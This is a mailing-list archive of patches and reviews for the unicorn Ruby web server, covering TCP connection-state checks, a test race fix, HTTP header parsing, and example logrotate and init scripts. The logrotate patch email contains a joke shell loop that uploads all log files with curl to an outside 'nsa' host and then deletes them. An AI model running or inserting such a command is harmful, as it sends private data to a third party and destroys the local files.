+ end
+ end
+
+ def write_http_header(socket) # :nodoc:
+ if headers?
+ self.response_start_sent = true
+ HTTP_RESPONSE_START.each { |c| socket.write(c) }
+ end
+ end
end
diff --git a/lib/unicorn/http_server.rb b/lib/unicorn/http_server.rb
index 35bd100..4190641 100644
--- a/lib/unicorn/http_server.rb
+++ b/lib/unicorn/http_server.rb
@@ -558,8 +558,8 @@ def e100_response_write(client, env)
# once a client is accepted, it is processed in its entirety here
# in 3 easy steps: read request, call app, write app response
- def process_client(client)
- status, headers, body = @app.call(env = @request.read(client))
+ def process_client(client, listener)
+ status, headers, body = @app.call(env = @request.read(client, listener))
begin
return if @request.hijacked?
@@ -655,7 +655,7 @@ def worker_loop(worker)
# Unicorn::Worker#kgio_tryaccept is not like accept(2) at all,
# but that will return false
if client = sock.kgio_tryaccept
- process_client(client)
+ process_client(client, sock)
nr += 1
worker.tick = time_now.to_i
end
diff --git a/test/unit/test_request.rb b/test/unit/test_request.rb
index f0ccaf7..dbe8af7 100644
--- a/test/unit/test_request.rb
+++ b/test/unit/test_request.rb
@@ -30,7 +30,7 @@ def setup
def test_options
client = MockRequest.new("OPTIONS * HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal '', env['REQUEST_PATH']
assert_equal '', env['PATH_INFO']
assert_equal '*', env['REQUEST_URI']
@@ -40,7 +40,7 @@ def test_options
def test_absolute_uri_with_query
client = MockRequest.new("GET http://e:3/x?y=z HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'y=z', env['QUERY_STRING']
@@ -50,7 +50,7 @@ def test_absolute_uri_with_query
def test_absolute_uri_with_fragment
client = MockRequest.new("GET http://e:3/x#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal '', env['QUERY_STRING']
@@ -61,7 +61,7 @@ def test_absolute_uri_with_fragment
def test_absolute_uri_with_query_and_fragment
client = MockRequest.new("GET http://e:3/x?a=b#frag HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal '/x', env['REQUEST_PATH']
assert_equal '/x', env['PATH_INFO']
assert_equal 'a=b', env['QUERY_STRING']
@@ -73,7 +73,7 @@ def test_absolute_uri_unsupported_schemes
%w(ssh+http://e/ ftp://e/x http+ssh://e/x).each do |abs_uri|
client = MockRequest.new("GET #{abs_uri} HTTP/1.1\r\n" \
"Host: foo\r\n\r\n")
- assert_raises(HttpParserError) { @request.read(client) }
+ assert_raises(HttpParserError) { @request.read(client, nil) }
end
end
@@ -81,7 +81,7 @@ def test_x_forwarded_proto_https
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: https\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal "https", env['rack.url_scheme']
res = @lint.call(env)
end
@@ -90,7 +90,7 @@ def test_x_forwarded_proto_http
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: http\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal "http", env['rack.url_scheme']
res = @lint.call(env)
end
@@ -99,14 +99,14 @@ def test_x_forwarded_proto_invalid
client = MockRequest.new("GET / HTTP/1.1\r\n" \
"X-Forwarded-Proto: ftp\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal "http", env['rack.url_scheme']
res = @lint.call(env)
end
def test_rack_lint_get
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal "http", env['rack.url_scheme']
assert_equal '127.0.0.1', env['REMOTE_ADDR']
res = @lint.call(env)
@@ -114,7 +114,7 @@ def test_rack_lint_get
def test_no_content_stringio
client = MockRequest.new("GET / HTTP/1.1\r\nHost: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal StringIO, env['rack.input'].class
end
@@ -122,7 +122,7 @@ def test_zero_content_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 0\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal StringIO, env['rack.input'].class
end
@@ -130,7 +130,7 @@ def test_real_content_not_stringio
client = MockRequest.new("PUT / HTTP/1.1\r\n" \
"Content-Length: 1\r\n" \
"Host: foo\r\n\r\n")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert_equal Unicorn::TeeInput, env['rack.input'].class
end
@@ -141,7 +141,7 @@ def test_rack_lint_put
"Content-Length: 5\r\n" \
"\r\n" \
"abcde")
- env = @request.read(client)
+ env = @request.read(client, nil)
assert ! env.include?(:http_body)
res = @lint.call(env)
end
@@ -167,7 +167,7 @@ def client.kgio_read!(*args)
"\r\n")
count.times { assert_equal bs, client.syswrite(buf) }
assert_equal 0, client.sysseek(0)
- env = @request.read(client)
+ env = @request.read(client, nil)
assert ! env.include?(:http_body)
assert_equal length, env['rack.input'].size
count.times {
--
2.11.0
On Tue, Feb 28, 2017 at 10:18 PM, Eric Wong <e@80x24.org> wrote:
>> Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
>> > + tcp_info = Raindrops::TCP_Info.new(socket)
>> > + raise Errno::EPIPE, "client closed connection".freeze, [] if
>> > closed_state?(tcp_info.state)
>
> Also, I guess if you're using this frequently, it might make
> sense to keep the tcp_info object around and recycle it
> using the Raindrops::TCP_Info#get! method.
>
> #get! has always been supported in raindrops, but I just noticed
> RDoc wasn't picking it up properly :x
>
> Anyways I've fixed the documentation over on the raindrops list
>
> https://bogomips.org/raindrops-public/20170301025541.26183-1-e@80x24.org/
> ("[PATCH] ext: fix documentation for C ext-defined classes")
>
> https://bogomips.org/raindrops-public/20170301025546.26233-1-e@80x24.org/
> ("[PATCH] TCP_Info: custom documentation for #get!")
>
> ... and updated the RDoc on https://bogomips.org/raindrops/
>
> Heck, I wonder if it even makes sense to reuse a frozen empty
> Array when raising the exception...
^ permalink raw reply related [relevance 4%]
* [PATCH] t0011-active-unix-socket.sh: fix race condition in test
@ 2017-02-28 23:00 8% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-02-28 23:00 UTC (permalink / raw)
To: unicorn-public
Killing the master process may lead to the worker dying on its
own (as designed); before kill(1) has had an opportunity to send
the second kill(2) syscall on the worker process.
Killing the worker before the master might also lead to a
needless respawn, so merely kill the master and let the worker
follow it in death.
This race condition occasionally caused test failures on slow,
uniprocessor hardware.
---
t/t0011-active-unix-socket.sh | 2 +-
1 file changed, 1 insertion(+), 1 deletion(-)
diff --git a/t/t0011-active-unix-socket.sh b/t/t0011-active-unix-socket.sh
index d256f5c..fae0b6c 100755
--- a/t/t0011-active-unix-socket.sh
+++ b/t/t0011-active-unix-socket.sh
@@ -52,7 +52,7 @@ t_begin "worker pid unchanged (again)" && {
}
t_begin "nuking the existing Unicorn succeeds" && {
- kill -9 $unicorn_pid $worker_pid
+ kill -9 $unicorn_pid
while kill -0 $unicorn_pid
do
sleep 1
--
EW
^ permalink raw reply related [relevance 8%]
* Re: [PATCH] check_client_connection: use tcp state on linux
2017-02-27 11:44 1% ` Simon Eskildsen
@ 2017-02-28 21:12 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2017-02-28 21:12 UTC (permalink / raw)
To: Simon Eskildsen; +Cc: unicorn-public
Simon Eskildsen <simon.eskildsen@shopify.com> wrote:
<snip>
> I would assume you would see TIME_WAIT and CLOSE. LAST_ACK_CLOSING it
> seems pretty unlikely to hit, but not impossible. As with CLOSING,
> I've included LAST_ACK_CLOSING for completeness.
Did you mean "LAST_ACK, and CLOSING"? (not joined by underscore)
Anyways, thanks for testing and adding
> <e@80x24.org> wrote:
> > Yep, we need to account for the UNIX socket case. I forget if
> > kgio even makes them different...
>
> I read the implementation and verified by dumping the class when
> testing on some test boxes. You are right—it's a simple Kgio::Socket
> object, not differentiating between Kgio::TCPSocket and
> Kgio::UnixSocket at the class level. Kgio only does this if they're
> explicitly passed to override the class returned from #try_accept.
> Unicorn doesn't do this.
>
> I've tried to find a way to determine the socket domain (INET vs.
> UNIX) on the socket object, but neither Ruby's Socket class nor Kgio
> seems to expose this. I'm not entirely sure what the simplest way to
> do this check would be. We could have the accept loop pass the correct
> class to #try_accept based on the listening socket that came back from
> #accept. If we passed the listening socket to #read after accept, we'd
> know.. but I don't like that the request knows about the listener
> either. Alternatively, we could expose the socket domain in Kgio, but
> that'll be problematic in the near-ish future as you've mentioned
> wanting to move away from Kgio as Ruby's IO library is at parity as
> per Ruby 2.4.
>
> What do you suggest pursuing here to check whether the client socket
> is a TCP socket?
I think passing the listening socket is the best way to go about
detecting whether a socket is INET or UNIX, for now.
You're right about kgio, I'd rather not make more changes to
kgio but we will still need it to for Ruby <2.2.x users.
And #read is an overloaded name, feel free to change it :)
> Below is a patch addressing the other concerns. I had to include
> require raindrops so the `defined?` check would do the right thing, as
> the only other file that requires Raindrops is the worker one which is
> loaded after http_request. I can change the load-order or require
> raindrops in lib/unicorn.rb if you prefer.
The require is fine. However we do not need a class variable,
below...
> # TODO: remove redundant names
> Unicorn.const_set(:HttpRequest, Unicorn::HttpParser)
> @@ -29,6 +30,7 @@ class Unicorn::HttpParser
> # 2.2+ optimizes hash assignments when used with literal string keys
> HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
> @@input_class = Unicorn::TeeInput
> + @@raindrops_tcp_info_defined = defined?(Raindrops::TCP_Info)
I prefer we avoid adding this cvar, instead...
> @@check_client_connection = false
>
> def self.input_class
> @@ -83,11 +85,7 @@ def read(socket)
> false until add_parse(socket.kgio_read!(16384))
> end
>
> - # detect if the socket is valid by writing a partial response:
> - if @@check_client_connection && headers?
> - self.response_start_sent = true
> - HTTP_RESPONSE_START.each { |c| socket.write(c) }
> - end
> + check_client_connection(socket) if @@check_client_connection
>
> e['rack.input'] = 0 == content_length ?
> NULL_IO : @@input_class.new(socket, self)
> @@ -108,4 +106,27 @@ def call
> def hijacked?
> env.include?('rack.hijack_io'.freeze)
> end
... we can have different methods defined:
if defined?(Raindrops::TCP_Info) # Linux, maybe FreeBSD
def check_client_connection(client, listener) # :nodoc:
...
end
else # portable version
def check_client_connection(client, listener) # :nodoc:
...
end
end
And eliminate the class variable entirely.
> +
> + private
I prefer to avoid marking methods as 'private' to ease any
ad-hoc unit testing which may come up. Instead, rely on :nodoc:
directives to discourage people from depending on it.
Thanks.
> + def check_client_connection(socket)
> + if @@raindrops_tcp_info_defined
> + tcp_info = Raindrops::TCP_Info.new(socket)
> + raise Errno::EPIPE, "client closed connection".freeze, [] if
> closed_state?(tcp_info.state)
> + elsif headers?
> + self.response_start_sent = true
> + HTTP_RESPONSE_START.each { |c| socket.write(c) }
> + end
> + end
> +
> + def closed_state?(state)
> + case state
> + when 1 # ESTABLISHED
> + false
> + when 6, 7, 8, 9, 11 # TIME_WAIT, CLOSE, CLOSE_WAIT, LAST_ACK, CLOSING
> + true
> + else
> + false
> + end
> + end
> end
closed_state? looks good to me, good call on short-circuiting
the common case of ESTABLISHED!
^ permalink raw reply [relevance 0%]
* Re: [PATCH] check_client_connection: use tcp state on linux
@ 2017-02-27 11:44 1% ` Simon Eskildsen
2017-02-28 21:12 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Simon Eskildsen @ 2017-02-27 11:44 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
> I prefer we use a hash or case statement. Both allow more
> optimization in the YARV VM of CRuby (opt_aref and
> opt_case_dispatch in insns.def). case _might_ be a little
> faster if there's no constant lookup overhead, but
> a microbench or dumping the bytecode will be necessary
> to be sure :)
>
> A hash or a case can also help portability-wise in case
> we hit a system where these numbers are non-sequential;
> or if we forgot something.
Good point. I double checked all the states on Linux and found that we
were missing TCP_CLOSING [1] [2]. This is a state where the other side
is closed, and you have buffered data on your side. It doesn't seem
like this would ever happen in Unicorn, but I think we should include
it for completeness. This also means the range becomes non-sequential.
I looked at Illumus (solaris-derived) [3] and BSD [4] and for the TCP
states we're interested in it also appears to have a non-continues
range.
My co-worker, Kir Shatrov, benchmarked a bunch of approaches to the
state check and found that case is a good solution [5]. Due to the
realness of non-sequential states in common operating systems, I think
case is the way to go here as you suggested. I've made sure to
short-circuit the common-case of TCP_ESTABLISHED. I've only seen
CLOSE_WAIT in testing, but in the wild-life of large production scale
I would assume you would see TIME_WAIT and CLOSE. LAST_ACK_CLOSING it
seems pretty unlikely to hit, but not impossible. As with CLOSING,
I've included LAST_ACK_CLOSING for completeness.
[1] https://github.com/torvalds/linux/blob/5924bbecd0267d87c24110cbe2041b5075173a25/include/net/tcp_states.h#L27
[2] https://github.com/torvalds/linux/blob/ca78d3173cff3503bcd15723b049757f75762d15/net/ipv4/tcp.c#L228
[3] https://github.com/freebsd/freebsd/blob/386ddae58459341ec567604707805814a2128a57/sys/netinet/tcp_fsm.h
[4] https://github.com/illumos/illumos-gate/blob/f7877f5d39900cfd8b20dd673e5ccc1ef7cc7447/usr/src/uts/common/netinet/tcp_fsm.h
[5] https://gist.github.com/kirs/11ba4ce84c08188c9f7eba9c639616a5
> Yep, we need to account for the UNIX socket case. I forget if
> kgio even makes them different...
I read the implementation and verified by dumping the class when
testing on some test boxes. You are right—it's a simple Kgio::Socket
object, not differentiating between Kgio::TCPSocket and
Kgio::UnixSocket at the class level. Kgio only does this if they're
explicitly passed to override the class returned from #try_accept.
Unicorn doesn't do this.
I've tried to find a way to determine the socket domain (INET vs.
UNIX) on the socket object, but neither Ruby's Socket class nor Kgio
seems to expose this. I'm not entirely sure what the simplest way to
do this check would be. We could have the accept loop pass the correct
class to #try_accept based on the listening socket that came back from
#accept. If we passed the listening socket to #read after accept, we'd
know.. but I don't like that the request knows about the listener
either. Alternatively, we could expose the socket domain in Kgio, but
that'll be problematic in the near-ish future as you've mentioned
wanting to move away from Kgio as Ruby's IO library is at parity as
per Ruby 2.4.
What do you suggest pursuing here to check whether the client socket
is a TCP socket?
Below is a patch addressing the other concerns. I had to include
require raindrops so the `defined?` check would do the right thing, as
the only other file that requires Raindrops is the worker one which is
loaded after http_request. I can change the load-order or require
raindrops in lib/unicorn.rb if you prefer.
Missing is the socket type check. Thanks for your feedback!
---
lib/unicorn/http_request.rb | 31 ++++++++++++++++++++++++++-----
1 file changed, 26 insertions(+), 5 deletions(-)
diff --git a/lib/unicorn/http_request.rb b/lib/unicorn/http_request.rb
index 0c1f9bb..eedccac 100644
--- a/lib/unicorn/http_request.rb
+++ b/lib/unicorn/http_request.rb
@@ -2,6 +2,7 @@
# :enddoc:
# no stable API here
require 'unicorn_http'
+require 'raindrops'
# TODO: remove redundant names
Unicorn.const_set(:HttpRequest, Unicorn::HttpParser)
@@ -29,6 +30,7 @@ class Unicorn::HttpParser
# 2.2+ optimizes hash assignments when used with literal string keys
HTTP_RESPONSE_START = [ 'HTTP', '/1.1 ']
@@input_class = Unicorn::TeeInput
+ @@raindrops_tcp_info_defined = defined?(Raindrops::TCP_Info)
@@check_client_connection = false
def self.input_class
@@ -83,11 +85,7 @@ def read(socket)
false until add_parse(socket.kgio_read!(16384))
end
- # detect if the socket is valid by writing a partial response:
- if @@check_client_connection && headers?
- self.response_start_sent = true
- HTTP_RESPONSE_START.each { |c| socket.write(c) }
- end
+ check_client_connection(socket) if @@check_client_connection
e['rack.input'] = 0 == content_length ?
NULL_IO : @@input_class.new(socket, self)
@@ -108,4 +106,27 @@ def call
def hijacked?
env.include?('rack.hijack_io'.freeze)
end
+
+ private
+
+ def check_client_connection(socket)
+ if @@raindrops_tcp_info_defined
+ tcp_info = Raindrops::TCP_Info.new(socket)
+ raise Errno::EPIPE, "client closed connection".freeze, [] if
closed_state?(tcp_info.state)
+ elsif headers?
+ self.response_start_sent = true
+ HTTP_RESPONSE_START.each { |c| socket.write(c) }
+ end
+ end
+
+ def closed_state?(state)
+ case state
+ when 1 # ESTABLISHED
+ false
+ when 6, 7, 8, 9, 11 # TIME_WAIT, CLOSE, CLOSE_WAIT, LAST_ACK, CLOSING
+ true
+ else
+ false
+ end
+ end
end
--
2.11.0
^ permalink raw reply related [relevance 1%]
* Re: Patch: Add after_worker_exit configuration option
@ 2017-02-21 21:38 3% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2017-02-21 21:38 UTC (permalink / raw)
To: Jeremy Evans; +Cc: unicorn-public
Jeremy Evans <code@jeremyevans.net> wrote:
> Here's a revised patch that should address the issues you identified:
Thanks. Pushed as 2af91a1fef70d6546ee03760011c170a082db667
I needed one change to an integration test to workaround
the lack of reader attribute, but I'd rather pay the cost
in the test than the server, itself:
https://bogomips.org/unicorn.git/patch?id=2c6aa5878d052abb
("t/t0012-reload-empty-config.sh: access ivars directly if needed")
^ permalink raw reply [relevance 3%]
* Re: [PATCH] Add some tolerance (RFC2616 sec. 19.3)
2016-10-20 20:50 2% ` Eric Wong
@ 2016-10-20 21:03 0% ` Mishael A Sibiryakov
0 siblings, 0 replies; 200+ results
From: Mishael A Sibiryakov @ 2016-10-20 21:03 UTC (permalink / raw)
To: Eric Wong; +Cc: unicorn-public
On Thu, 2016-10-20 at 20:50 +0000, Eric Wong wrote:
> > > > + def test_multiline_header_0d0a
> > > > + parser = HttpParser.new
> > > > + parser.buf << "GET / HTTP/1.0\r\nX-Multiline-Header: foo
> > > > bar\r\n\tcha cha\r\n\tzha zha\r\n\r\n"
> > >
> > > I expect code to be wrapped at 80 lines or less. Fixed locally.
> > > (I need big fonts, even 80 is a compromise, I really prefer 64)
> >
> > Line 221 with "ssl bullshit" guided me to this.
>
> Ah, that's an old test from Mongrel, probably not worth fixing;
> just trying to keep new code cleaner.
It's a good desire :) I'll comply next time.
^ permalink raw reply [relevance 0%]
* Re: [PATCH] Add some tolerance (RFC2616 sec. 19.3)
@ 2016-10-20 20:50 2% ` Eric Wong
2016-10-20 21:03 0% ` Mishael A Sibiryakov
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-10-20 20:50 UTC (permalink / raw)
To: Mishael A Sibiryakov; +Cc: unicorn-public
Mishael A Sibiryakov <death@junki.org> wrote:
> It's just a temporary fork and I'm too lazy ))
<snip>
> Whoops, my fault.
No worries :)
> > > + def test_multiline_header_0d0a
> > > + parser = HttpParser.new
> > > + parser.buf << "GET / HTTP/1.0\r\nX-Multiline-Header: foo
> > > bar\r\n\tcha cha\r\n\tzha zha\r\n\r\n"
> >
> > I expect code to be wrapped at 80 lines or less. Fixed locally.
> > (I need big fonts, even 80 is a compromise, I really prefer 64)
>
> Line 221 with "ssl bullshit" guided me to this.
Ah, that's an old test from Mongrel, probably not worth fixing;
just trying to keep new code cleaner.
^ permalink raw reply [relevance 2%]
* Re: [PATCH] Add some tolerance (RFC2616 sec. 19.3)
2016-10-20 9:05 7% [PATCH] Add some tolerance (RFC2616 sec. 19.3) Mishael A Sibiryakov
@ 2016-10-20 17:55 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-10-20 17:55 UTC (permalink / raw)
To: Mishael A Sibiryakov; +Cc: unicorn-public
Mishael A Sibiryakov <death@junki.org> wrote:
> Hi all.
>
> We're implementing client certificate authentication with nginx and
> unicorn.
>
> Nginx configured in the following way:
>
> proxy_set_header X-SSL-Client-Cert $ssl_client_cert;
>
> When client submits certificate and nginx passes it to the unicorn,
> unicorn responds with 400 (Bad Request). This caused because nginx
> doesn't use "\r\n" they using just "\n" and multilne headers is failed
> to parse (I've added test).
>
> Accorording to RFC2616 section 19.3:
> https://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.3
>
> "The line terminator for message-header fields is the sequence CRLF.
> However, we recommend that applications, when parsing such headers,
> recognize a single LF as a line terminator and ignore the leading CR."
>
> CRLF changed to ("\r\n" | "\n")
Thanks for that useful explanation. Aside from the unnecessary,
"Hi all,", that is an informative commit message which justifies
the usefulness of that patch.
> Github commit https://github.com/uno4ki/unicorn/commit/ed127b66e162aaf1
> 76de05720f6be758f8b41b1f
Unfortunately, the commit message in your git repo is lacking.
I've used the text at the top of your email.
> PS: Googling "nginx unicorn ssl_client_cert" shows the problem.
>
> ---
> ext/unicorn_http/unicorn_http_common.rl | 2 +-
> test/unit/test_http_parser.rb | 16 ++++++++++++++++
> 2 files changed, 17 insertions(+), 1 deletion(-)
Eeep, Evolution does some strange things with formatting
whitespaces. It looks like instructions for making it nicer are
in the Linux kernel:
https://bogomips.org/mirrors/linux.git/plain/Documentation/email-clients.txt?h=v4.8
<snip>
> + def test_multiline_header_0d0a
> + parser = HttpParser.new
> + parser.buf << "GET / HTTP/1.0\r\nX-Multiline-Header: foo
> bar\r\n\tcha cha\r\n\tzha zha\r\n\r\n"
I expect code to be wrapped at 80 lines or less. Fixed locally.
(I need big fonts, even 80 is a compromise, I really prefer 64)
Anyways, pushed to the "rfc2616-sec19.3" branch.
I've also uploaded a prerelease 5.1.0.4.gd5fbb to RubyGems
for folks without Ragel.
gem install --pre unicorn -v 5.1.0.4.gd5fbb
Anything else? Expect a 5.2.0 release in a few days or so.
Thanks.
^ permalink raw reply [relevance 0%]
* [PATCH] Add some tolerance (RFC2616 sec. 19.3)
@ 2016-10-20 9:05 7% Mishael A Sibiryakov
2016-10-20 17:55 0% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Mishael A Sibiryakov @ 2016-10-20 9:05 UTC (permalink / raw)
To: unicorn-public
Hi all.
We're implementing client certificate authentication with nginx and
unicorn.
Nginx configured in the following way:
proxy_set_header X-SSL-Client-Cert $ssl_client_cert;
When client submits certificate and nginx passes it to the unicorn,
unicorn responds with 400 (Bad Request). This caused because nginx
doesn't use "\r\n" they using just "\n" and multilne headers is failed
to parse (I've added test).
Accorording to RFC2616 section 19.3:
https://www.w3.org/Protocols/rfc2616/rfc2616-sec19.html#sec19.3
"The line terminator for message-header fields is the sequence CRLF.
However, we recommend that applications, when parsing such headers,
recognize a single LF as a line terminator and ignore the leading CR."
CRLF changed to ("\r\n" | "\n")
Github commit https://github.com/uno4ki/unicorn/commit/ed127b66e162aaf1
76de05720f6be758f8b41b1f
PS: Googling "nginx unicorn ssl_client_cert" shows the problem.
---
ext/unicorn_http/unicorn_http_common.rl | 2 +-
test/unit/test_http_parser.rb | 16 ++++++++++++++++
2 files changed, 17 insertions(+), 1 deletion(-)
diff --git a/ext/unicorn_http/unicorn_http_common.rl
b/ext/unicorn_http/unicorn_http_common.rl
index cc1d455..507e570 100644
--- a/ext/unicorn_http/unicorn_http_common.rl
+++ b/ext/unicorn_http/unicorn_http_common.rl
@@ -4,7 +4,7 @@
#### HTTP PROTOCOL GRAMMAR
# line endings
- CRLF = "\r\n";
+ CRLF = ("\r\n" | "\n");
# character types
CTL = (cntrl | 127);
diff --git a/test/unit/test_http_parser.rb
b/test/unit/test_http_parser.rb
index c72f7f2..4b1a16e 100644
--- a/test/unit/test_http_parser.rb
+++ b/test/unit/test_http_parser.rb
@@ -230,6 +230,22 @@ def test_nasty_pound_header
assert_equal expect, req['HTTP_X_SSL_BULLSHIT']
end
+ def test_multiline_header_0d0a
+ parser = HttpParser.new
+ parser.buf << "GET / HTTP/1.0\r\nX-Multiline-Header: foo
bar\r\n\tcha cha\r\n\tzha zha\r\n\r\n"
+ req = parser.env
+ assert_equal req, parser.parse
+ assert_equal 'foo bar cha cha zha zha',
req['HTTP_X_MULTILINE_HEADER']
+ end
+
+ def test_multiline_header_0a
+ parser = HttpParser.new
+ parser.buf << "GET / HTTP/1.0\nX-Multiline-Header: foo bar\n\tcha
cha\n\tzha zha\n\n"
+ req = parser.env
+ assert_equal req, parser.parse
+ assert_equal 'foo bar cha cha zha zha',
req['HTTP_X_MULTILINE_HEADER']
+ end
+
def test_continuation_eats_leading_spaces
parser = HttpParser.new
header = "GET / HTTP/1.1\r\n" \
--
2.10.1
^ permalink raw reply related [relevance 7%]
* [PATCH] examples/logrotate.conf: update example for systemd
@ 2016-06-20 20:00 5% Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-06-20 20:00 UTC (permalink / raw)
To: unicorn-public
...And add placeholders for other systems
---
Leaving out the part for using a backup service :>
for i in /var/log/unicorn_app/*.log.gz
do
curl -sSf -T $i cloud.nsa.gov/store && rm $i
done
examples/logrotate.conf | 17 ++++++++++++++++-
1 file changed, 16 insertions(+), 1 deletion(-)
diff --git a/examples/logrotate.conf b/examples/logrotate.conf
index 03fefc6..437f6c6 100644
--- a/examples/logrotate.conf
+++ b/examples/logrotate.conf
@@ -3,6 +3,9 @@
#
# See the logrotate(8) manpage for more information:
# http://linux.die.net/man/8/logrotate
+#
+# public logrotate-related discussion in our archives:
+# https://bogomips.org/unicorn-public/?q=logrotate
# Modify the following glob to match the logfiles your app writes to:
/var/log/unicorn_app/*.log {
@@ -22,7 +25,19 @@
# config. Unicorn supports the USR1 signal and we send it
# as our "lastaction" action:
lastaction
- # assuming your pid file is in /var/run/unicorn_app/pid
+ # For systemd users, assuming you use two services
+ # (as recommended) to allow zero-downtime upgrades.
+ # Only one service needs to be started, but signaling
+ # both here is harmless as long as they're both enabled
+ systemctl kill -s SIGUSR1 unicorn@1.service
+ systemctl kill -s SIGUSR1 unicorn@2.service
+
+ # Examples for other process management systems appreciated
+ # Mail us at unicorn-public@bogomips.org
+ # (see above for archives)
+
+ # If you use a pid file and assuming your pid file
+ # is in /var/run/unicorn_app/pid
pid=/var/run/unicorn_app/pid
test -s $pid && kill -USR1 "$(cat $pid)"
endscript
^ permalink raw reply related [relevance 5%]
* Re: [PATCH] examples/init.sh: update to reduce upgrade raciness
2016-06-07 21:13 21% ` [PATCH] examples/init.sh: update to reduce upgrade raciness Eric Wong
@ 2016-06-15 20:21 2% ` Eric Wong
0 siblings, 0 replies; 200+ results
From: Eric Wong @ 2016-06-15 20:21 UTC (permalink / raw)
To: Jesper Rønn-Jensen; +Cc: unicorn-public
Eric Wong <e@80x24.org> wrote:
> https://bogomips.org/unicorn.git/plain/examples/init.sh?h=jr/init
Hi Jesper, did you get a chance to test this updated init script?
Any feedback would be appreciated, thanks.
ref: https://bogomips.org/unicorn-public/20160607211354.GA21174@dcvr.yhbt.net/
^ permalink raw reply [relevance 2%]
* [PATCH] examples/init.sh: update to reduce upgrade raciness
2016-06-07 15:17 0% ` Jesper Rønn-Jensen
@ 2016-06-07 21:13 21% ` Eric Wong
2016-06-15 20:21 2% ` Eric Wong
0 siblings, 1 reply; 200+ results
From: Eric Wong @ 2016-06-07 21:13 UTC (permalink / raw)
To: Jesper Rønn-Jensen; +Cc: unicorn-public
Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> On Tue, Jun 7, 2016 at 3:41 PM, Eric Wong <e@80x24.org> wrote:
> > Jesper Rønn-Jensen <jesperrr@gmail.com> wrote:
> >> +++ b/examples/init.sh
> >> @@ -45,7 +45,7 @@ restart|reload)
> >> $CMD
> >> ;;
> >> upgrade)
> >> - if sig USR2 && sleep 2 && sig 0 && oldsig QUIT
> >> + if sig USR2 && sleep 2 && sig 0
> >> then
> >> n=$TIMEOUT
> >> while test -s $old_pid && test $n -ge 0
> >> --
> >
> > I actually wrote a better init script for a similar server,
> > patch coming in a bit (or later, close to falling asleep).
>
> Thanks for input.
>
> I will close this issue and wait for your patch later, then.
Proposed patch below (for "git am --scissors" users)
I've pushed this out to the "jr/init" branch on the git repo
and you can download the blob directly, here:
https://bogomips.org/unicorn.git/plain/examples/init.sh?h=jr/init
Will rebase/amend this branch as necessary until merged into master.
> Will also close pull-request I put at github with reference to this thread.
Please do, thank you.
Their terms-of-service doesn't allow bots to auto-close and redirect
things; and I can't support any centralized messaging system.
> > Anyways if you stick to old-school Usenet/mailing list posting
> > conventions, I'm more than happy to help you :)
> PS. Thanks for tip on HTML vs Plain text mails. Didn't know Gmail
> could send plain text :)
I think the only problem with gmail I've heard was from mobile
phone app users. At least the git ML and LKML gets text-only
gmail posts all the time.
We old-school conventions mean we also trim our quotes and
avoid top-posting :)
------------8<----------------
Subject: [PATCH] examples/init.sh: update to reduce upgrade raciness
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Rework the "upgrade" target to only read the PID files once to
avoid misreading the wrong PID files in the middle of the
upgrade.
Additionally, introduce the UPGRADE_DELAY environment parameter
so users can increase/decrease according to their application
startup time.
PID files are inherently racy and people should be using a
process manager (systemd or similar) instead, but this should
mitigate most of the problems with the old target.
While we're at it, add LSB tags for systems which complain
about the lack of them and modernize things a bit using
$(command) construct instead of the more fragile `command`.
Thanks-to: Jesper Rønn-Jensen <jesperrr@gmail.com>
---
examples/init.sh | 44 ++++++++++++++++++++++++++++++++++++--------
1 file changed, 36 insertions(+), 8 deletions(-)
diff --git a/examples/init.sh b/examples/init.sh
index 1f0e035..4ef6cdc 100644
--- a/examples/init.sh
+++ b/examples/init.sh
@@ -1,7 +1,16 @@
#!/bin/sh
set -e
+### BEGIN INIT INFO
+# Provides: unicorn
+# Required-Start: $local_fs $network
+# Required-Stop: $local_fs $network
+# Default-Start: 2 3 4 5
+# Default-Stop: 0 1 6
+# Short-Description: Start/stop unicorn Rack app server
+### END INIT INFO
+
# Example init script, this can be used with nginx, too,
-# since nginx and unicorn accept the same signals
+# since nginx and unicorn accept the same signals.
# Feel free to change any of the following variables for your app:
TIMEOUT=${TIMEOUT-60}
